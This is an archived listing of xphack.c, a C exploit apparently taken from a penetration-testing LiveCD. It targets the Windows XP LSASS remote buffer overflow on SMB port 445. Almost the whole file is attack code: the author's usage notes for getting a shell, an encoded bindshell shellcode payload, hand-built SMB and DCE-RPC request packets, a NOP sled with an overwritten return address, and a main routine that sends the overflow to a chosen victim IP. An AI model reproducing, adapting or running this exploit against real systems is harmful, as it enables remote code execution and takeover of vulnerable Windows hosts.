home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / xphack.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  335 lines

  1. /* 
  2.         --------XpHack 1.0 Beta--------
  3.  
  4.                CODED BY: JOCANOR
  5.  
  6.   This is a first exploit of a project called ASQ12.
  7.   ASQ12 is a collection of exploits codeds for me, the
  8.   expoloits of the collection are simple to use by anybody.
  9.  
  10.   Some exploits of my project ASQ12 are still private, 
  11.  
  12.   ***and some are based on anothers exploits*****
  13.  
  14.   Use at your own risk, this code if only for educational purposes,
  15.   the autor is not reponsable.
  16.  
  17.   This is a Exploit coded for hack all windows xp by the bug:
  18.  
  19.   Lsass in port 445 tcp/ip, remote buffer overflow.
  20.  
  21.   You can get a shell Easy with this code, example:
  22.  
  23.   C:\> xphack 198.0.0.1 4444
  24.   
  25.   later open a new cmd and type:
  26.  
  27.   C:\> nc 192.0.0.1 4444
  28.  
  29.   Happy Hacking!!!!!!!!!!!!
  30.  
  31.                             JOCANOR (c) 2004
  32.  
  33. */
  34. #include <windows.h>
  35.  
  36. #pragma comment(lib, "ws2_32")
  37.  
  38. unsigned char bindshell[] =
  39. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
  40. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  41. "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  42. "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
  43. "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
  44. "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
  45. "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
  46. "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
  47. "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
  48. "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
  49. "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
  50. "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
  51. "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
  52. "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
  53. "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
  54. "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
  55. "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
  56. "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
  57. "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
  58. "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
  59. "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
  60. "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
  61. "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
  62. "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
  63. "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
  64. "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
  65.  
  66. char req1[] =
  67. "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
  68. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  69. "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
  70. "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
  71. "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
  72. "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
  73. "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
  74. "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
  75. "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
  76.  
  77. char req2[] =
  78. "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
  79. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  80. "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
  81. "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
  82. "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
  83. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  84. "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
  85. "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
  86. "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
  87. "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
  88. "\x2E\x00\x30\x00\x00\x00\x00\x00";
  89.  
  90.  
  91. char req3[] =
  92. "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
  93. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  94. "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
  95. "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
  96. "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
  97. "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
  98. "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
  99. "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
  100. "\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
  101. "\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
  102. "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
  103. "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
  104. "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
  105. "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
  106.  
  107.  
  108. char req4[] =
  109. "\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
  110. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  111. "\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
  112. "\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
  113. "\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
  114. "\x49\x00\x50\x00\x43\x00\x24"
  115. "\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
  116.  
  117. char req5[] =
  118. "\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
  119. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
  120. "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
  121. "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  122. "\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
  123. "\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
  124. "\x72\x00\x70\x00\x63\x00\x00\x00";
  125.  
  126. char req6[] =
  127. "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
  128. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
  129. "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
  130. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
  131. "\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
  132. "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
  133. "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
  134. "\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
  135. "\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
  136. "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
  137.  
  138. char req7[] =
  139. "\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
  140. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
  141. "\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
  142. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
  143. "\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
  144. "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
  145. "\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
  146. "\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
  147.  
  148. char shit1[] =
  149.  
  150. "\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
  151. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  152. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  153. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  154. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
  155. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  156. "\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  157. "\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  158. "\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";
  159.  
  160.  
  161. char shit3[] =
  162. "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  163. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  164. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  165. "\x01\x00\x00\x00"
  166. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  167. "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  168. "\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
  169. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
  170. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
  171.  
  172. #define LEN 3500
  173. #define NOP 0x90 
  174. #define BUFSIZE 2000
  175.  
  176. int main(int argc, char *argv[])
  177. {
  178.  
  179.     int i;
  180.     char hostipc[40];
  181.     char *target;
  182.     char hostipc2[40*2];
  183.     unsigned short port;
  184.     unsigned long ip;
  185.     unsigned char *sc;
  186.     char buf[LEN+1];
  187.     char sendbuf[(LEN+1)*2];
  188.     char req4u[sizeof(req4)+20];
  189.     char screq[BUFSIZE+sizeof(req7)+1500+440];
  190.     char recvbuf[1600];
  191.     char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
  192.     char strBuffer[BUFSIZE];
  193.     int len, sockfd;
  194.     short dport = 445;
  195.     struct hostent *he;
  196.     struct sockaddr_in their_addr;
  197.     char smblen;
  198.     char unclen;
  199.     WSADATA wsa;
  200.  
  201.     printf("\n     -----XpHack 1.0 beta-----\n");
  202.     printf("-----ExPlOiT CoDeD By: JoCaNoR-----\n\n");
  203.  
  204.     if (argc < 2)
  205.     {
  206.         printf("Usage:\n\n");
  207.         printf("xphack <victim ip> <binshell port>\n\n");
  208.         exit(0);
  209.     }
  210.  
  211.  
  212.     target = argv[1];
  213.     sprintf((char *)hostipc,"\\\\%s\\ipc$", target); 
  214.  
  215.     for (i=0; i<40; i++) 
  216.     {
  217.         hostipc2[i*2] = hostipc[i];
  218.         hostipc2[i*2+1] = 0;
  219.     }
  220.  
  221.     memcpy(req4u, req4, sizeof(req4)-1);
  222.     memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
  223.     memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);
  224.  
  225.     smblen = 52+(char)strlen(hostipc)*2;
  226.     memcpy(req4u+3, &smblen, 1);
  227.  
  228.     unclen = 9 + (char)strlen(hostipc)*2;
  229.     memcpy(req4u+45, &unclen, 1);
  230.  
  231.     port = htons(atoi(argv[2]))^(USHORT)0x9999;
  232.     memcpy(&bindshell[176], &port, 2);
  233.     sc = bindshell;
  234.  
  235.     memset(strBuffer, NOP, BUFSIZE);
  236.     memcpy(strBuffer+160, sc, strlen(sc));
  237.     memcpy(strBuffer+1980, strasm, strlen(strasm));
  238.     *(long *)&strBuffer[1964]=0x01004600;
  239.  
  240.     memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);
  241.  
  242.     WSAStartup(MAKEWORD(2,0),&wsa);
  243.  
  244.     if ((he=gethostbyname(argv[1])) == NULL) 
  245.     { 
  246.         perror("Unable to resolve");
  247.         exit(1);
  248.     }
  249.  
  250.     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
  251.     {
  252.         perror("socket error");
  253.         exit(1);
  254.     }
  255.  
  256.     their_addr.sin_family = AF_INET;
  257.     their_addr.sin_port = htons(dport);
  258.     their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  259.     memset(&(their_addr.sin_zero), '\0', 8);
  260.  
  261.     printf("Connecting...");
  262.     if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  263.     {
  264.         printf("\nError, cna't connect to victim machine");
  265.         exit(1);
  266.     }
  267.  
  268.     printf("Good\n");
  269.  
  270.     if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) 
  271.     {
  272.         printf("Error\n");
  273.         exit(1);
  274.     }
  275.     len = recv(sockfd, recvbuf, 1600, 0);
  276.  
  277.     if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) 
  278.     {
  279.         printf("Error\n");
  280.         exit(1);
  281.     }
  282.     len = recv(sockfd, recvbuf, 1600, 0);
  283.  
  284.     if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) 
  285.     {
  286.         printf("Error\n");
  287.         exit(1);
  288.     }
  289.     len = recv(sockfd, recvbuf, 1600, 0);
  290.  
  291.     printf("Getting a shell...");
  292.     if (send(sockfd, req4u, smblen+4, 0) == -1) 
  293.     {
  294.         printf("Error\n");
  295.         exit(1);
  296.     }
  297.     len = recv(sockfd, recvbuf, 1600, 0);
  298.  
  299.  
  300.     if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) 
  301.     {
  302.         printf("Error\n");
  303.         exit(1);
  304.     }
  305.     len = recv(sockfd, recvbuf, 1600, 0);
  306.  
  307.  
  308.     if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) 
  309.     {
  310.         printf("Error\n");
  311.         exit(1);
  312.     }
  313.     len = recv(sockfd, recvbuf, 1600, 0);
  314.  
  315.  
  316.     memcpy(screq, req7, sizeof(req7)-1);
  317.     memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
  318.     memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);
  319.  
  320.     screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
  321.     if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1)
  322.     {
  323.     printf("Error\n");
  324.     exit(1);
  325.     }
  326.  
  327.     printf("OoOoOps shell!!\n");
  328.  
  329.     len = recv(sockfd, recvbuf, 1600, 0);
  330.  
  331.     return 0;
  332. }
  333.  
  334. /* CODED BY JOCANOR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/
  335.